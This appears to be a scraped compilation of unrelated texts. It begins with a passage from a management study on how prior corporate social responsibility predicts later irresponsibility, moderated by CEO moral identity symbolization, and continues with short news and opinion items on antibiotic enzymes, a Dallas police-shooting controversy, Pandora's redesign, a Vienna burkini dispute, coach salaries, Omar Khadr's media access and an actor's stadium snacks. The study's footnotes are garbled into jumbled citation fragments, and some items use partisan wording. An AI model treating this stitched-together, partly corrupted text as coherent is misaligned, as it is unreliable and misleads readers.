adjusted (2001–2002) .48 .43 .30* −.13 .29* −.15 .31* 7. CEO moral identity symbolization 6.68 .75 −.11 .02 −.11 −.07 −.06 .11 8. CSiR, industry adjusted (2003–2004) .50 .44 .09 .08 .61** −.15 .89** .42** −.01 To test our hypotheses, we regressed CSiR on the control variables, prior CSR, CEO moral identity symbolization, and their interaction term. Table 2 shows the results of these regressions. In Model 1, the base model, we regressed CSiR on only our control variables: length of the CAQ packet, CEO tenure, firm size, prior firm financial performance, and prior CSiR. The overall model results indicate that the control variables explain approximately 80% of the variance in CSiR. Table 2. Hierarchical Regression Results for Corporate Social Irresponsibility on Prior Corporate Social Responsibility and CEO Moral Identity Symbolization Dependent variable: CSiR (2003–2004) Variables Model 1: Base model Model 2: Main effect model Model 3: Full model with interaction Step 1: Control variables CAQ packet length (in packet length) −.02 −.08 −.09 CEO tenure (in tenure) .03 .04 .04 Firm size (in sales) .06 .05 .07 Prior return on sales (1996–2002) −.00 −.00 −.00 Prior CSiR (1996–2002) .92** .88** .83** Step 2: Main effects Prior CSR (2001–2002) .18* −1.34† CEO moral identity symbolization .01 −.08 Step 3: Interaction Prior CSR × CEO moral identity symbolization .22* Overall model R2 .80 .83 .85 Adjusted R2 .78 .80 .82 Change in R2 .03 .02 F statistic for change 3.18* 4.56* Overall F statistic 34.85** 28.33** 27.50** In Model 2, we regressed CSiR on the control variables, prior CSR and CEO moral identity symbolization. As seen in Step 2 of Model 2, prior CSR has a significant positive relationship with CSiR (ß = .18, p < .05), providing support for Hypothesis 1. Moral identity symbolization has no relationship with CSiR (ß = .01, ns). The overall model results indicate that the control variables, prior CSR, and moral identity symbolization explain approximately 83% of the variance in CSiR (p < .05). In Model 3 we test the prediction that CEO moral identity symbolization moderates the relationship between prior CSR and CSiR such that the relationship between CSR and CSiR is more positive when CEOs are high on moral identity symbolization rather than low on moral identity symbolization (Hypothesis 2). In support of this hypothesis, the interaction between prior CSR and moral identity symbolization is significant (ß = .22, p < .05). Simple slope analyses (Aiken & West, 1991) provide support for our hypothesis by showing that CSiR is positively related to prior CSR among CEOs high on moral identity symbolization (b = .43, SE = .14, t = 3.13, p < .01), whereas CSiR is unrelated to prior CSR among CEOs low on moral identity symbolization (b = –.31, SE = .24, t = –1.29, ns). These simple effects are depicted in Figure 1. This step explains 2% of the incremental variance in CSiR and yields an R2 of .85 (p < .05). Figure 1 Open in figure viewerPowerPoint Moderating Role of CEO Moral Identity Symbolization on Prior Corporate Social Responsibility and Corporate Social Irresponsibility Relationship. Additional Analyses Although our analyses indicate support for our prediction that CSR is positively associated with future CSiR (Hypothesis 1), because previous research has found that CSiR leads to CSR (Kotchen & Moon, 2011), we also tested our data for reverse causality (i.e., CSiR associating with subsequent CSR). We find that past CSiR (2001–2002) is positively related to CSR (2003–2004; r = .33, p < .01). However, when we conduct regression analyses to examine how past CSiR relates to subsequent CSR and control for firm size, past firm financial performance, and past CSR, we do not find support for the reverse causal order (ß = .15, ns) nor do we find support for the interaction between past CSiR and CEO moral identity symbolization predicting subsequent CSR (ß = .03, ns). These results support the theoretical framework upon which we draw (i.e., moral licensing) and provide greater confidence in our finding that CSR predicts CSiR and that CEO moral identity symbolization moderates this relationship. Discussion At its height, Enron was Houston's go‐to corporate philanthropist. The company gave heavily to arts groups, scholarship funds, and local medical centers (Philanthropy News Digest, 2001). But for all this good, it also engaged in surreptitious accounting fraud that eventually cost shareholders $11 billion when its stock price dropped from nearly $100 per share to $1 at the end of 2001. Such corporate misconduct toward stakeholders continues to be a common occurrence. In response, business practitioners and academics alike have considered how to increase CSR and, specifically, how leaders can facilitate CSR. This research has been instrumental to our understanding of how to encourage CSR yet it does not directly speak to the impetus for much of this research: Whether and when do firms behave badly? In this paper, we have begun to address these questions by considering how leaders’ psychological processes and personal characteristics relate to CSiR. Using archival data on Fortune 500 firms, we demonstrated that firms that engaged in prior socially responsible behavior are more likely to then engage in socially irresponsible behavior. In addition, we found that CEO moral identity symbolization moderates the relationship between prior CSR and CSiR, such that the relationship is stronger for CEOs who are high on moral identity symbolization rather than low on moral identity symbolization. Theoretical Contributions This study has several theoretical contributions for research on CSR, strategic leadership, moral licensing, and moral identity. First, our work contributes to research on CSR in a number of ways. Past research has assumed that engaging in CSR has positive consequences and, thus, has focused on how CSR leads to positive outcomes such as firm financial performance. However, given that much psychological research has shown that good behavior leads to bad behavior (e.g., psychological licensing), it is important to understand whether CSR also results in detrimental outcomes. Our research draws on this psychological research to find that CSR can indeed result in negative consequences: heightened CSiR. We also contribute to CSR research in that previous research has been limited in its examination of the antecedents and consequences of CSiR (Campbell, 2007; Greenwood, 2007). To the extent that it has been examined, previous CSR researchers have focused on how prior CSiR affects subsequent CSR (e.g., Chatterji & Toffel, 2010; Muller & Kräussl, 2011). We consider the opposite relationship—that of how CSR affects subsequent CSiR. In addition, the research that has been conducted on CSiR has been at the firm‐level only. Our research complements this research by taking a microlevel approach and exploring the role of strategic leaders in shaping the CSR–CSiR relationship. To better understand this relationship, we draw on strategic leadership and moral licensing research to examine how a leader's implementation of past CSR might license them to subsequently be less ethical and careful when managing stakeholders’ needs. As such, we contribute to our understanding of CSR and CSiR in companies such as Enron or BP. Related to this contribution, researchers have called for studies that utilize social psychological theories to understand CSR, but little research has been conducted applying this lens (e.g., Rupp et al., 2011). Our research responds to this call by examining how moral identity relates to CSiR. We found that moral identity symbolization was not related to CSiR. At first blush this finding appears to run counter to moral identity research that finds moral identity to be positively related to prosocial behavior and negatively associated with antisocial behavior (see Shao, Aquino, & Freeman, 2008 for a review). However, recent research suggests the importance of contextual factors, such as past behavior, in understanding moral identity's effects on moral outcomes (Mulder & Aquino, in press). In line with this research, we find that prior CSR is an important contextual factor that influences whether leaders’ moral identity symbolization affects CSiR. This examination helps us better understand leaders’ attention to CSR and how it affects subsequent strategic choices about CSiR. Second, we contribute to strategic leadership research in which scholars have repeatedly called for studies that consider how the psychological processes of top leaders influence firm‐level outcomes (Cannella & Monroe, 1997; Hambrick, 2007). Researchers have noted the difficulty of conducting this research because top leaders generally do not submit themselves to psychological assessments (Cannella & Monroe, 1997; Hambrick, 2007; Hermann, 1999; Sumanth & Cable, 2011). Although past research has utilized demographic variables as proxies of leaders’ personal characteristics, we contribute to strategic leadership literature by examining an important, but underexamined, personal characteristic of CEOs (i.e., moral identity symbolization) using a novel, unobtrusive methodology, the CAQ. Because the CAQ methodology transforms qualitative information into quantitative data, it allowed us to make comparisons across more CEOs and raters than the case study methodology allows. Third, our study contributes to research on moral licensing. To our knowledge, our study is the first to examine moral licensing at the organizational level using data with high ecological validity, and in this way our research contributes to the burgeoning literature on psychological licensing. Prior moral licensing research has been conducted at the individual level and within experimental settings to show that participants are more likely to engage in morally questionable behavior after having previously engaged in socially desirable behavior. By using data from Fortune 500 companies, we extend theoretical understanding of this psychological process to leaders and show its organizational‐level implications. In addition, we respond to recent calls by researchers to consider how individual differences affect moral licensing (Jordan, Mullen, & Murnighan, 2011; Miller & Effron, 2010). Our findings demonstrate a boundary condition to moral licensing research by showing that leaders who are less focused on their moral actions (i.e., low moral identity symbolization) are more likely to remain consistent. Alternatively, our study suggests that leaders who are high on moral identity symbolization may be more morally aware, as opposed to consistent, and thus know when they can and cannot engage in less ethical behavior without compromising their moral integrity. Therefore, this study contributes to our understanding of when inconsistency trumps people's basic desire for consistency (Bem, 1972; Festinger, 1957). Fourth, we contribute to moral identity research. The majority of research on moral identity has focused on moral identity internalization (see Shao et al., 2008, for a review; Winterich et al., 2012). Few studies have examined the effects of moral identity symbolization, despite research showing that symbolization has significant effects on behavior (e.g., Mayer et al., 2012). As such, one of our theoretical contributions to this research is our examination of symbolization effects. In addition, we contribute to the moral identity research by identifying an alternative method of measurement. Typically, studies have utilized Aquino and Reed's (2002) self‐report measure of moral identity symbolization. However, one potential drawback of this method is that it relies on individuals to report their behavior and their perceptions of themselves. In this way we provide a methodological contribution to this literature by using the Q‐sort methodology in which multiple judges, who were blind to the study hypotheses, rated the leaders on a wide range of behavior resulting in less biased ratings of moral actions. Practical Implications In addition to the theoretical contributions of this paper, our results have practical implications as well. First, our findings suggest that governance structures should be put in place that explicitly hold leaders accountable for both stakeholder management and stakeholder mismanagement. Given leaders’ propensity to engage in wrongdoing after they have previously engaged in CSR, boards should be particularly careful after the successful implementation of a CSR strategy to ensure that leaders do not become complacent. Moreover, boards should set clear rules about intolerance toward unethical or illegal behavior. Boards need to clearly communicate to top leaders that unethical behavior toward stakeholders will not be tolerated and specify the consequences of such mismanagement. Interestingly, Zhong and colleagues (2010) note that highlighting the importance of “doing good” and rewarding ethical behavior may inadvertently cause employees to engage in unethical behavior. As such, boards and leaders should take great caution in considering how to manage the CSR–CSiR relationship. Contrary to what one might expect, our research suggests that leaders who attempt to put forth a moral image are in fact more likely to engage in moral licensing behavior than are those who do not engage in symbolic moral action. Although boards may believe that CEOs who are high on moral identity symbolization can be trusted to behave ethically on a consistent basis, our research instead shows that they may be less likely to remain consistent. In fact, these leaders may be more in tune with managing others’ moral impressions of them and in maintaining a balanced moral scorecard, which may not always result in beneficial outcomes for the firm. This focus may be advantageous when companies have previously engaged in wrongdoing. However, it may be harmful when companies have previously engaged in CSR. Thus, boards should remain particularly vigilant of leaders who put forth a moral image. Limitations and Future Research The theoretical contributions and practical implications of our study should be considered with regard to the study's limitations. First, in this research we attend to moral licensing as one means to understand the short‐term CSR–CSiR relationship. We found robust support for this relationship by first demonstrating that prior CSR predicts future CSiR and second by conducting additional analyses that ruled out reverse causality. Although these analyses provide confidence for observed moral licensing in our present research, other research has found evidence for moral cleansing, whereby morally questionable actions give rise to ethical or prosocial behavior (Carlsmith & Gross, 1969; Sachdeva et al., 2009; Zhong & Liljenquest, 2006). Jordan and colleagues (2011) suggest that moral behavior is dynamic and acts much like a pendulum that swings between moral cleansing and moral licensing. One limitation then of our study is that we only examine a short time period, which may only capture a snapshot of a larger moral licensing‐cleansing cycle. Future research should investigate this pendulum by examining CSR and CSiR over a longer time frame. Second, one might note that the effect sizes in this study are small. Though categorized as small, the effect sizes are comparable with other studies examining CEOs’ impact on CSR (e.g., Deckop et al., 2006; McGuire, Dow, & Argheyd, 2003). In addition, despite the stability of CSiR over time (e.g., the correlation between CSiR 2001–2002 and CSiR 2003–2004 is highly significant), our results indicate that leadership still plays an important role in shaping organizations’ CSR strategies. Finally, small effect sizes can still be impactful when they show a dependent variable (in this case, CSiR) is influenced by an unlikely independent variable (in this case, CSR; Prentice & Miller, 1992). Specifically, Prentice and Miller (1992) note that “showing that an effect holds even under the most unlikely circumstances possible can be as impressive as (or, in some cases, perhaps even more impressive than) showing that it accounts for a great deal of variance” (p. 163). In our case, finding that socially responsible behavior relates to subsequent irresponsible behavior is important. Finally, although the CAQ methodology offers great benefits to examining top leaders at a distance, it is not without its limitations. First, because of the qualitative nature of the CAQ, it is possible that the data were biased because of journalists’ or coders’ biases. Although our use of varied sources to create our packets of information on each CEO as well as our use of multiple coders minimizes the impact of any individual bias, we cannot fully isolate personal prejudgment or bias in our data. Second, our study is restricted in its sample. Given the level of detail required to complete a CAQ, our sample was limited to CEOs of large, American firms that received extensive coverage in the business press. However, given that leaders have more discretion in smaller firms than they do in larger firms (Miller, Ket de Vries, & Toulouse, 1982), it is likely that this sample serves as a conservative test of our study hypotheses (i.e., results might be even stronger within smaller organizations in which leaders have more control of communication and the decision‐making process). Our study suggests a number of future research directions. In our study we focused on an aggregated measure of CSR, arguing that leaders who develop CSR strategies that balance the needs of a variety of stakeholders subsequently are more likely to engage in CSiR that hurts a variety of stakeholders. This general approach is important because it is the first test of moral licensing in relation to CSR strategies. However, it does not disentangle whether leaders are engaging in domain or nondomain specific moral licensing. Following from earlier moral licensing work in experimental settings, which found that moral licensing at the individual‐level can be both domain and nondomain specific (e.g., Mazar & Zhong, 2011; Monin & Miller, 2001), future research should examine whether moral licensing in firms is domain specific (e.g., does positive action toward the environment then lead to negative action toward the environment?) or nondomain specific (e.g., does positive action toward the environment subsequently lead to negative action toward employees?). Another avenue for future research on CSR–CSiR is to explore the moderating effects of other psychological and contextual factors on CSiR. In this paper, we focused on one important psychological characteristic influencing the CSR–CSiR relationship, moral identity symbolization, but other psychological and contextual factors likely exist. For example, factors such as leader cognitive moral development and moral philosophies are related to ethical leadership (see Kish‐Gephart, Harrison, & Treviño, 2010 for a review) and may influence how leaders use past moral behavior as a guide to determine subsequent moral behavior. It is also possible that leaders who are more actively engaged in developing and implementing strategies may simultaneously engage in both CSR and CSiR. Thus, leader personality attributes related to assertiveness and conscientiousness may also be important to consider. With regard to contextual factors, future research should explore how contextual factors such as organizational culture influence the CSR–CSiR relationship. Given that previous research shows paradoxical negative effects of a meritocratic culture on sexism in the workplace (Castilla & Benard, 2010), we may find that organizational cultures intended to increase the ethical standards of the organization actually lead to subsequent CSiR. Future research studies exploring these psychological and contextual factors are important as they will allow us to better understand how leaders can manage both CSR and CSiR. Our findings also have implications for future research on moral licensing. This study, to our knowledge, is the first to demonstrate moral licensing effects at the organizational level in an organizational context, and our interaction results further indicate leader moral regulation is an important determinant of CSiR. However, like much prior moral licensing research, we did not directly test the underlying moral licensing processes as our initial goal was to demonstrate moral licensing at the organizational level. Having done so, our findings warrant future exploration and identification of the mechanisms driving moral licensing effects (e.g., moral credits). For instance, future research could empirically test whether leaders’ moral credits are indeed bolstered after implementing a CSR strategy. To assess the relationship between the firm's CSR ratings and leaders’ moral credits, a future study could code the manner in which CEOs discuss prior CSR through interviews after the release of the KLD ratings. Moreover, future moral licensing research should explore other factors that may influence the moral licensing effect, such as leaders’ identification with their organization. Given that some leaders are promoted from within their firm whereas others are outsiders, their identification level may vary, which in turn may influence the degree to which they internalize moral credits accrued from their firm's past CSR. Relatedly, longer‐tenured CEOs, who helped implement prior CSR strategies, may be more likely to engage in moral licensing than shorter‐tenured CEOs, who did not implement prior CSR strategies. As such, future research should explore how leader identification and tenure, as well as whether a leader was an internal or external hire, influences the CSR–CSiR relationship. Our research also warrants further investigation in the area of moral identity, and in particular, moral identity symbolization. Specifically, future research should pinpoint why leaders who are high on moral identity symbolization are less likely to be consistent in their moral actions than are those who are low on moral identity symbolization. In contrast to our findings, Zhong and colleagues (2010) suggested that individuals with high moral maturity, or people who consider morality as central to their identity, should be more consistent in their moral action over time than those with low moral maturity because it is more critical to them that they maintain a positive moral image. Our research contradicts their prediction by finding that those with high moral identity symbolization are actually less consistent in their moral action. Although our data cannot directly speak to why high moral identity leaders were more likely to engage in moral licensing, it may be that individuals who are high on moral identity symbolization do not strongly identify with being a moral person (i.e., moral identity internalization). Therefore, their engagement in moral licensing may reflect their strategic use of moral actions. Future research should explore the underlying mechanisms linking moral identity symbolization to moral licensing. Future research regarding moral identity measures is also necessary. Moral identity researchers typically use self‐report measures to assess this construct. We relied on third party data to obtain our measure of moral identity symbolization. Using the Q‐sort methodology allowed us to discreetly measure moral identity symbolization; however, questions remain as to the degree of overlap between self‐report measures and the Q‐sort method we utilized. Future research should examine the degree to which self‐report measures of moral identity internalization and symbolization correlate with the Q‐sort measure of symbolization and what implications a mismatch might have on the CSR–CSiR relationship. In addition, future research should examine how this Q‐sort measure of moral identity symbolization correlates with other related constructs such as ethical leadership and a moral personality (Brown & Treviño, 2006; McFerran et al., 2010). Conclusion Although previous research has examined positive effects of CSR such as how it relates to firm financial performance, we argued that it may also be an antecedent to CSiR. We further argued that it is important to consider how leaders affect CSiR because they guide the strategic decision‐making process for CSR initiatives. We find that CSR is positively related to CSiR and that the relationship is stronger for leaders who are high on moral identity symbolization rather than leaders who are low on moral identity symbolization. These findings provide a critical step in understanding the underlying processes that influence CSiR. 1 Various constructs relate to moral identity symbolization including the aforementioned moral identity internalization (Aquino & Reed, 2002 2006 2010 1999 1959 2012 2012 o, 2006 o, 2006, for a review)” (Mayer et al., 2012 Various constructs relate to moral identity symbolization including the aforementioned moral identity internalization (Aquino & Reed, o, o, 2006, for a review)” (Mayer et al., 2 The CEOs in our sample were in office for the majority of our time period, which was 1996–2002 (i.e., in office for 3.5 years or more). Eleven CEOs out of the 49 CEOs included in our study were in office for fewer than 3.5 years (i.e., nine CEOs were in office for 3 years of the 1996–2002 time period and two CEOs were in office for 2 years of the 1996–2002 time period). These 11 CEOs’ tenures occurred in the latter part of our time period (i.e., 2000–2002) and thus during the independent variable's time period (2001–2002) as well as closer to the dependent variable's time period (2003–2004). When we exclude these 11 CEOs from our analyses, we find the same pattern of results. -Taking clear pictures of megaenzymes isn’t easy. But it’s definitely worth it. These proteins play an active role in creating many common antibiotics. They are in constant motion, with sections that flip around acrobatically to carry out necessary tasks. Now, for the first time, McGill researchers have been able to take a series of 3D images of a large section from one of these medicine-synthesizing enzymes in action. The researchers believe that the images they have generated will not only bring scientists closer to understanding how many antibiotics are made, but could, with further research, lead to the development of much needed next-generation antibiotics. “This is the most complete view we’ve ever had of these enzymes in action,” said Prof. Martin Schmeing from McGill’s Department of Biochemistry, and the senior author of a paper describing the research which was published today in Nature. “Even though megaenzymes are the second-biggest proteins known to man, they are still very small molecules and they are very mobile, so it’s difficult to see them at work.” You may also like Medicine is sometimes just battling bacteria The enzymes the researchers are working on are essential to the production of antibiotics that range from penicillin to cyclosporin. They are called nonribosomal peptide synthetases (or NRPSs) and act as catalysts inside specific bacteria, giving them the ability to kill all their competing bacteria. The NRPSs work like miniature assembly lines, combining building blocks through repetitive chemical reactions. Much like automobile assembly lines, these enzyme assembly lines are made up of different work stations (called modules) that each add on one section of the drug and in the process create antibiotics with new chemical features. Paralyzing proteins to take their picture Because these enzymes are too small to see and constantly in motion, Prof. Schmeing and his team, used chemical traps to capture the proteins in the desired position. They then used a technique called X-ray crystallography to essentially take a series of 3D pictures of the first module of an NRPS that makes the antibiotic gramicidin (an active ingredient of the Polysporin cream which may be in your medicine cabinet). “These 3D pictures revealed the totally remarkable way the NRPS works to synthesize its product. Parts of other NRPSs have been pictured before, but there have never been so many snapshots of the different steps of synthesis, and never pictures of NRPSs that incorporate interesting chemical modifications into the antibiotic,” says Janice Reimer, PhD student and the first author on the paper. ”These pictures reveal the exquisite way these parts repurpose and recycle their limited surfaces to interact with the rest of the enzyme. Once we understand enough, we can use modern bioengineering techniques to modify NRPSs to produce all sorts of products with designer modifications, perhaps giving a veritable treasure trove of new medicines.” To read “Synthetic cycle of the initiation module of a formylating nonribosomal peptide synthetase” by Reimer et al in Nature: DOI: 10.1038/nature16503 ​This work was supported by CIHR grant 106615, a HFSP CDA and a Canada Research Chair in Macromolecular Machines to T. Martin Schmeing. Janice .M. Reimer is supported by an NSERC Alexander Graham Bell studentship, and Martin. N. Aloise by a studentship from the CIHR Training Grant in Chemical Biology. -On July 7, 2016, crazed Black Lives Matter supporter fired on a group of police officers at a Black Lives Matter march in Dallas, Texas. Five officers were killed in the mass shooting. The deceased officers were veterans and fathers: From top left clockwise, Brent Thompson, Patrick Zamarripa, Michael Krol, Lorne Ahrens and Michael J. Smith. Blue Lives Matter reported: Dallas County Commissioner John Wiley Price voted to oppose a resolution to honor murdered police officers, blaming police officers for the assassinations. The Wednesday vote was supposed to be largely ceremonial, but gained unexpected opposition as Commissioner John Wiley Price argued that law enforcement should not be honored, according to Fox4. “I think it’s interesting in this country how you again try to frame the narrative with regards to other people who’ve lost their life at the hands of law enforcement,” Price said. “No life is more important than any other life.” Price said that ‘unjust police violence’ was the cause of the terrorist attacks against law enforcement, according to Fox4. -Pandora just released its biggest web redesign since 2011. Back in the day, when Pandora first launched, everything was web first, mobile second. But as more and more people made the shift to mobile, so did development and design decisions, Pandora Software Engineering Manager Laura Leaverton told me. Pandora’s new web design is a lot cleaner, with improved navigation, a fixed bar that shows you what’s playing, replays and deeper integration with Ticketfly. For the majority of Pandora’s 78 million active users, this update might not matter a whole ton. Currently, 85% of listening happens on Pandora’s mobile apps, with just 14% of it happening on the web. “Web is one of our primary platforms,” Pandora Senior Product Manager Sunaina Gyani told TechCrunch. “We have a lot of very heavy web users. We wanted to make sure we were giving them an equally delightful experience.” I’m the type of person who likes to listen to music while I work — which accounts for most of my day, five days a week. My preferred method of consuming music is via desktop apps or web platforms — mostly Soundcloud, Hype Machine or Spotify. I also prefer to have a fair amount of control over what I listen to and when, which is why I haven’t been the biggest fan of Pandora. And, up until now, Pandora’s web version has been pretty harsh on the eyes. I played around with the new version of Pandora at work yesterday, but it just didn’t stick. What would (maybe) help to seal the deal for me would be on-demand streaming, which Pandora says it will launch in Q1 of 2017. But it feels a little too late for Pandora. There’s already a ton of streaming services out there with a large paid subscriber base. As of September, Spotify has 40 million paid subscribers and Apple Music has 17 million paying subscribers. Pandora’s first foray into the paid music game, Pandora One, topped out at around 4 million users before the company launched Pandora Plus in September. Meanwhile, Pandora’s overall listener count has been on the decline, falling to 77.9 million active listeners compared to 78.1 million in the same period last year, according to the company’s latest earning report. -A swimming pool in the Austrian capital of Vienna has stoked controversy by forcing a Muslim woman wearing the Islamic swimwear known as the burkini to leave the facility. The Vienna Stadthallenbad swimming pool forced a Muslim woman to leave their pool on Friday after they said that her swimwear was inappropriate. The woman, wearing the sharia-approved swimwear known as the burkini, is said to have been told to get out of the pool because the cotton garment did not meet the hygiene standards of the facility, reports Kronen Zeitung. The woman involved claims that the pool had discriminated against her because she was a Muslim and not because her burkini was against any standards of hygiene. She also claimed that the swimwear was not made of cotton as the swimming pool had claimed, but rather was made out of the same fabric as all swimwear which is usually either lycra, polyester, or nylon. A spokesman from the sports centre, Manfred Faly, said that there was no specific ban on the burkini in Vienna saying, “burkinis are basically all right – as long as it meets the hygiene and safety standards”. He insisted that any swimsuit must be made of a material that is both water resistant and dries quickly. Mr. Faly said that cotton isn’t a material that would meet those two standards. The Stadthallenbad isn’t the first Austrian swimming pool to have banned the Islamic garment. The Lower Austrian township of Hainfeld banned the burkini after a local Freedom Party of Austria (FPÖ) councillor made the request also citing safety and hygiene concerns. The burkini has also been banned in various towns in France, though not for hygiene reasons. Cities and towns along the French riviera, including Nice, the sight of a massive terror attack earlier this year, claim that the burkini is a religious garment and that it promotes the ideals of Islamic fundamentalism. As of last month at least ten women had been punished by the authorities for wearing the burkini on public beaches. While the women were only fined around £32 each, their names will be recorded in the French criminal database. Opposition to the French ban on the burkini reached all the way to the highest court in the country who overturned the ban saying that it “seriously, and clearly illegally, breached the fundamental freedoms to come and go, the freedom of beliefs and individual freedom”. Even following that ruling, a court on the French island of Corsica upheld the ban after a riot in the town of Sisco, citing that prohibiting the garment was now valid to ensure that public safety was upheld. -(Image: Football strategy via Shutterstock)State employees: hard-working civil servants working to ensure that the machinery of your state runs smoothly, right? You’re thinking about firemen, police officers, teachers, social workers, and, yes, the dreaded highway crew. But this is actually a huge employment category, and you might be surprised by some of the people working for the state, and the kinds of salaries they’re making. To whit: a look at the country as a whole reveals that the highest paid state employee in four out of five states is…a sports coach. This statistic should be viewed with some caution, as Reuben Fischer-Baum notes in his discussion of his piece: “Far exceeding these base salaries [paid from revenue the team generates, not with your taxes] is the ‘additional compensation’ that almost all of these coaches receive, which is tied to media appearances, apparel contracts, and fundraising. While this compensation does not come directly from the state fund it is guaranteed in the coaches’ contracts; if revenue falls short, the school—and thus the state—is on the hook to cover the difference.” You might not be thinking this is important news; if coaches are essentially paying themselves with the money their team makes and you’re not on the hook for the money (most of the time), what’s the big deal? Compensation practices in the private sector, after all, aren’t closely monitored, with a few notable exceptions like that of executive compensation at publicly traded companies. The issue here is that athletic coaches make a salary far, far above that of most other state employees, highlighting the pay disparities in the United States. While no one wants to begrudge someone an earned salary — and coaches do work, hard, for their salaries — there’s a growing social divide in the United States that’s neatly illustrated by this stark look at pay across the country. The average salary for full-time public-school teachers in the U.S. is about $56,000, according to the United States Department of Education. Contrast that with millions for coaches, who, incidentally, don’t bring in much revenue for the schools they work for. Most of the money earned by athletics teams goes to paying the costs of team maintenance, and while having a prestigious team attached to a college or university may attract students and some alumni donations, it certainly doesn’t result in more equipment and resources for students on campus, let alone better working conditions for staff. As Fischer-Baum points out, major athletic departments actually lose money, rather than bring it in. With a growing number of colleges and universities turning to adjunct faculty to supply their staffing needs, the high salaries of coaches are particularly remarkable; universities are willing to commit to covering coaches for guaranteed compensation in their contracts, but not to hire appropriate full-time staff for many of their academic departments. Those highway workers laboring in the hot sun? They earned a mean annual wage of around $36,000, according to the latest Bureau of Labor Statistics data. Social workers? $45,000. That’s still well above the poverty rate in the United States, but it’s often not enough to survive in areas with a high cost of living, like New York, San Francisco and Chicago. Even as these state workers struggle to make ends meet, attacks from without suggest that they’re looting the state when they demand basic rights like access to their pension plans. Something is clearly awry when the highest-paid state employee makes millions and those working at the ground level rarely, if ever, break $100,000 annually. While coaches have a role to play, their outsize salaries are out of touch with the reality lived by other state employees, speaking to a larger social disconnect when it comes to prioritizing how we spend public funds and how we treat various professions. Athletics coaches receive hero worship, while public school teachers receive crumbs from the plate and pink slips at the end of the semester. Something is very, very wrong here. -Corrections Canada claims an interview with Omar Khadr would require unprecedented security precautions, including a prison lockdown, despite the fact that the 28-year-old often receives visitors and has been described as a model prisoner. An outline of the proposed security measures, contained in a court affidavit filed by the Bowden Institution, were made only after the Toronto Star, CBC and White Pine Pictures asked a federal court to intervene, arguing the government was violating the constitutional guarantee of a free press and the public’s “right to know” in blocking access to Khadr. Former Guantanamo detainee Omar Khadr at the Bowden Institution, the medium-security facility where he is being held. Repeated requests over the last two years to interview Khadr have been denied. ( Handout Photo / Toronto Star ) “Omar has seen a reduction of his security level from maximum to medium in the last year, and yet the government is suggesting it will require extraordinary security measures to allow him to speak to the media? No other prisoner would be gagged in this way,” said lawyer Patric Senson, who is representing the Star and other parties. Howard Sapers, the Correctional Investigator for Canada, said he could not comment specifically on Khadr’s case, but said he was surprised by the response of the medium-security facility where Khadr is being held. “I have never heard of a case where a federally sentenced offender has been denied outside contact other than having to lock down an entire institution,” Sapers said in an interview Thursday. Article Continued Below “I am getting an increasing number of inquiries from media outlets asking for assistance or advice in regard to pursuing interviews with Correctional Service staff or inmates,” he said. “The impression I’m left with is that it is increasingly difficult for journalists to cover Corrections news.” Omar Khadr, 28, shown at the Bowden Institution ( Handout Photo ) Repeated requests over the last two years to interview Khadr have been denied by government officials citing a section of a policy known as the “commissioner’s directive.” Internal emails obtained by The Canadian Press show one interview request, made soon after Khadr arrived in Canada in 2012 and was incarcerated at the Millhaven Institution, was approved by the warden, only to be overturned 90 minutes later by the office of the public safety minister. Meanwhile, Khadr has been visited by teachers, lawyers, students, relatives and other members of the public who have become involved in his case during his incarceration in Ontario and Alberta. Federal inmates are permitted to give interviews unless a warden finds that the risk is too great to staff and inmates, or to the operations of the facility — a decision that should be independent, free from political interference, said Sapers. Sapers also said facilities conduct “risk assessments,” before having to take the rare step of locking down an institution — if one was conducted at Alberta’s Bowden Institution assessing the impact of an interview, it was not included in the government’s federal court filing. According to the affidavit filed by John McKill, Bowden’s acting assistant warden of management services, an on-camera interview with Khadr would take place in the administrative building, forcing other inmates “to be confined to their residential living units while the set-up for the interview and the interview itself took place.” Article Continued Below McKill’s affidavit also notes that the building, which lacks “internal barriers,” is used throughout the day for a variety of purposes, including “work, participation in educational upgrading classes, and correctional programs, visits, parole board hearings and telephone calls with counsel and legal advisers.” Senson, along with Toronto lawyer John Phillips, will argue that McKill’s affidavit should not be considered by the federal judge reviewing the media’s claim since it was not provided until legal action was taken. “The government was clearly trying to justify political decisions after the fact when it provided the court with its reasons for denying this interview with Omar,” Senson said in an interview Thursday. No date has been set for the federal court judicial review, which received widespread support from civil rights groups and other media organizations when filed this summer. “The government has repeatedly expressed its views on Mr. Khadr’s case and it is only fair play in a democracy that other voices — including Mr. Khadr’s himself — have equal air time,” wrote the Canadian Civil Liberties Association. A New York Times editorial stated: “The Canadian government should allow the interview and let Mr. Khadr, now an adult, share his perspective on his ordeal. The public has been kept waiting long enough.” Khadr has been in custody since the age of 15, after he was shot and captured following a firefight with U.S. and Afghan forces in Afghanistan. In 2010, he pleaded guilty to five war crimes, including murder for the death of Delta Force soldier Christopher Speer, who was fatally wounded in the 2002 firefight. He was transferred to Canada in 2012 to serve the remainder of an eight-year sentence as a condition of his plea deal. He has since said he accepted the deal only to be released from Guantanamo and has no memory of the firefight. -​Toby from 'Degrassi' Has Been Bringing Ridiculous Snacks to Blue Jays Games Published Aug 17, 2016 We brought a whole pie to the Dome. pic.twitter.com/5uVqoAOK9Q — Jake Goldsbie (@JGoldsbie) June 9, 2016 Today we brought 6.5 pounds of wings. pic.twitter.com/9L5ZDrLhCg — Jake Goldsbie (@JGoldsbie) June 10, 2016 SECURITY GUARD: What's in the bag? ME: A burrito SECURITY GUARD: R-really? pic.twitter.com/xR4g13TkEM — Jake Goldsbie (@JGoldsbie) July 29, 2016 Honestly, if you're not making a charcuterie board at a baseball game, what are you even doing with your life? pic.twitter.com/UjpVwDhXD2 — Jake Goldsbie (@JGoldsbie) August 12, 2016 The Toronto Blue Jays are in a nail-bitingly close battle for the top spot in the American League East right now, but it's become pretty clear who's winning when it comes to having the strongest snack game at the Skydome.Jake Goldsbie is best known for his role as Toby Isaacs on Degrassi: The Next Generation — the dorky younger brother of Jimmy Brook's onetime girlfriend, Ashley. And while life has yet to mimic art and put him in the running to be Drake 's brother-in-law, the Toronto-born actor is doing rather well for himself.He currently co-hosts a podcast called Sportsfeld, and like any good sports-loving Torontonian, he's a regular attendee at Jays games. The team's home ball park, the Rogers Centre ( formerly known as the Skydome ), has a policy that allows guests to bring their own outside food into the stadium during games, and Goldsbie has been testing the limits of the rule in style lately.Earlier this season, he brought an entire pizza to his seat.For the next game he attended, a whopping 6.5 pounds of chicken wings from home were on the menu.Then there was a burrito.His most recent food-related feat was by far the most impressive, though, taking things up a notch and arriving with a full-on charcuterie board in tow last weekend.The Jays are currently on the road, but who knows what hilarious and delicious treats Goldsbie will return with when his team steps 